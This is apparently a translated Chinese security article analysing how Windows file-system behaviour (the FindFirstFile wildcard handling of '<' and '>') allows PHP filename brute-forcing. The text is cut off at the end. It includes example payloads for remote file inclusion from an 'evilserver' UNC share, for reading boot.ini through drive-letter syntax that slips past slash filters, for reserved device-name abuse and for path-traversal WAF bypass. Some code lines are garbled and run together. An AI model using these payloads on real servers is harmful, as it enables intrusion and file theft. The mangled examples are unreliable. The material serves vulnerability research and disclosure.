windows的文件系统机制引发的PHP路径爆破问题分析
本文导语: 1.开场白 此次所披露的是以下网页中提出的问题所取得的测试结果: http://code.google.com/p/pasc2at/wiki/SimplifiedChinese 已知1.php存在,以上脚本访问的结果是: 1.php 1.phP 1.ph< 1.ph> 都能得到返回。 前两种能返回结果是总...
1.开场白
此次所披露的是以下网页中提出的问题所取得的测试结果:
http://code.google.com/p/pasc2at/wiki/SimplifiedChinese
已知1.php存在,以上脚本访问的结果是:
1.php 1.phP 1.ph< 1.ph>
都能得到返回。
前两种能返回结果是总所周知的(因为windows的文件系统支持大小的互转的机制),另外的两种返回引起了我们的注意。
测试php版本:PHP4.9,PHP5.2,PHP5.3,PHP6.0
测试系统:WINXP SP3 X32,WINXP SP2 X64,WIN7,WIN2K3
经测试我们得出的结论是:该漏洞影响所有的windows+php版本
2.深入探查模糊测试的结果
为了继续深入探查关于该bug的信息,我们对demo做了些许修改:
在调试php解释器的过程中,我们将此“神奇”的漏洞归结为一个Winapi 函数FindFirstFile()所产生的结果(http://msdn.microsoft.com/en-us/library/aa364418(v=vs.85).aspx).更好玩的是,当跟踪函数调用栈的过程中我们发现字符”>”被替换成”?”,字符”fopen(‘htacess'); //加上第一点中的利用 ==>fopen(‘hfopen(‘config.ini/////.')==>fopen(‘config.ini…..') //译者注:此处的利用我不是很理解,有何作用?截断?
该函数也可以调用以”\”打头的网络共享文件,当然这会耗费不短的时间。补充一点,如果共享名不存在时,该文件操作将会额外耗费4秒钟的时间,并可能触发时间响应机制以及max_execution_time抛错。所幸的是,该利用可以用来绕过allow_url_fopen=Off 并最终导致一个RFI(远程文件包含)
EXAMPLE:include (‘\evilservershell.php');
用以下方法还可以切换文件的盘名
include(‘\.C:myfile.php......D:anotherfile.php');
选择磁盘命名语法可以用来绕过斜线字符过滤
file_get_contents(‘C:boot.ini'); //==> file_get_contents (‘C:/boot.ini');
在php的命令行环境下(php.exe),关于系统保留名文件的利用细节
EXAMPLE:file_get_contents(‘C:/tmp/con.jpg'); //此举将会无休无止地从CON设备读取0字节,直到遇到eof
EXAMPLE:file_put_contents(‘C:/tmp/con.jpg',chr(0×07)); //此举将会不断地使服务器发出类似哔哔的声音
4.更深入的利用方法
除了以上已经展示的方法,你可以用下面的姿势来绕过WAF或者文件名过滤
请思考该例:
访问test.php?a=../a